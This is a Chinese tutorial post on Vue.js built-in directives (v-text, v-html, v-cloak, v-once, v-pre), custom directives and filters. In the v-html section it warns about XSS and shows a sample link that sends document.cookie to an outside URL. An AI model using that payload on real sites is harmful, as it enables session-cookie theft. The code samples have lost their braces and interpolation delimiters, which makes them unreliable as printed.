Vue 内置指令自定义指令过滤器

Posted 2022-01-08 YuLong~W

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Vue 内置指令自定义指令过滤器相关的知识，希望对你有一定的参考价值。

文章目录

内置指令
自定义指令
过滤器

内置指令

复习之前所学指令：

v-bind：单向绑定解析表达式, 可简写为 :xxx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听, 可简写为@
v-if：条件渲染（动态控制节点是否存存在）
v-else：条件渲染（动态控制节点是否存存在）
v-show：条件渲染 (动态控制节点是否展示)

v-text指令

作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的内容，xx则不会

<body>
	<div id="root">
		<div>你好，name</div>
		<div v-text="name"></div>
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。	
	new Vue(
		el:'#root',
		data:
			name:'zhangsan',
			str:'<h3>你好啊！</h3>'
		
	)
</script>

v-html指令

作用：向指定节点中渲染包含html结构的内容
与插值语法的区别：
- v-html会替换掉节点中所有的内容，xx则不会
- v-html可以识别html结构
严重注意：v-html有安全性问题
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
- 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上

<body>
	<div id="root">
		<div>你好，name</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue(
		el:'#root',
		data:
			name:'',
			str:'<h3>你好啊！</h3>',
			str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
		
	)
</script>

v-cloak指令

本质是一个特殊属性（没有值），Vue实例创建完毕并接管容器后，会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出xxx的问题

<style>
	[v-cloak]
		display:none;
	
</style>
<body>
	<div id="root">
		<h2 v-cloak>name</h2>
	</div>
	<script type="text/javascript" src="./vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue(
		el:'#root',
		data:
			name:'尚硅谷'
		
	)
</script>

v-once指令

.v-once所在节点在 初次动态渲染 后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

<body>
	<div id="root">
		<h2 v-once>初始化的n值是:n</h2>
		<h2>当前的n值是:n</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue(
		el:'#root',
		data:
			n:1
		
	)
</script>

v-pre指令

跳过其所在节点的编译过程
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<body>
	<div id="root">
		<h2 v-pre>Vue其实很简单</h2>
		<h2 >当前的n值是:n</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue(
		el:'#root',
		data:
			n:1
		
	)
</script>

自定义指令

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

定义语法：

1、局部指令：

new Vue(															   		
	directives指令名:回调函数
) 
或   
new Vue(
	directives:指令名:配置对象		
)

2、全局指令：

Vue.directive(指令名,配置对象) 
或   
Vue.directive(指令名,回调函数)

配置对象中常用的3个回调：

bind：指令与元素成功绑定时调用
inserted：指令所在元素被插入页面时调用
update：指令所在模板结构被重新解析时调用

实现：

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

<body>
	<div id="root">
		<h2>name</h2>
		<h2>当前的n值是：<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr/>
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//定义全局指令
	/* Vue.directive('fbind',
		//指令与元素成功绑定时（一上来）
		bind(element,binding)
			element.value = binding.value
		,
		//指令所在元素被插入页面时
		inserted(element,binding)
			element.focus()
		,
		//指令所在的模板被重新解析时
		update(element,binding)
			element.value = binding.value
		
	) */

	new Vue(
		el:'#root',
		data:
			name:'乌拉拉',
			n:1
		,
		directives:
			/*big函数何时会被调用？
				1.指令与元素成功绑定时（一上来）。
				2.指令所在的模板被重新解析时。
			*/
			big(element,binding)
				console.log('big',this) //注意此处的this是window
				// console.log('big')
				element.innerText = binding.value * 10
			,
			//使用big-number作为指令名
			/* 'big-number'(element,binding)
				element.innerText = binding.value * 10
			, */			
			fbind:
				//指令与元素成功绑定时（一上来）
				bind(element,binding)
					element.value = binding.value
				,
				//指令所在元素被插入页面时
				inserted(element,binding)
					element.focus()
				,
				//指令所在的模板被重新解析时
				update(element,binding)
					element.value = binding.value
				
			
		
	)
</script>

备注：

指令定义时不加v-，但使用时要加v-
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名

过滤器

定义： 过滤器（Filters）是 vue 为开发者提供的功能，常用于文本的格式化。对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

语法：

注册过滤器：全局Vue.filter(name,callback) 或局部new Vuefilters:
使用过滤器： xxx | 过滤器名 或 v-bind:属性 = "xxx | 过滤器名"(很少)

<body>
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- 计算属性实现 -->
		<h3>现在是：fmtTime</h3>
		<!-- methods实现 -->
		<h3>现在是：getFmtTime()</h3>
		<!-- 过滤器实现 -->
		<h3>现在是：time | timeFormater</h3>
		<!-- 过滤器实现（传参） -->
		<h3>现在是：time | timeFormater('YYYY_MM_DD') | mySlice</h3>
		<h3 :x="msg | mySlice">乌拉拉</h3>
	</div>

	<div id="root2">
		<h2>msg | mySlice</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//全局过滤器
	Vue.filter('mySlice',function(value)
		return value.slice(0,4)
	)
	
	new Vue(
		el:'#root',
		data:
			time:+new Date(), //时间戳
			msg:'你好，乌拉拉'
		,
		computed: 
			fmtTime()
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			
		,
		methods: 
			getFmtTime()
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			
		,
		//局部过滤器
		filters:
			timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss')
				return dayjs(value).format(str)
			
		
	)

	new Vue(
		el:'#root2',
		data:
			msg:'hello,wulala!'
		
	)
</script>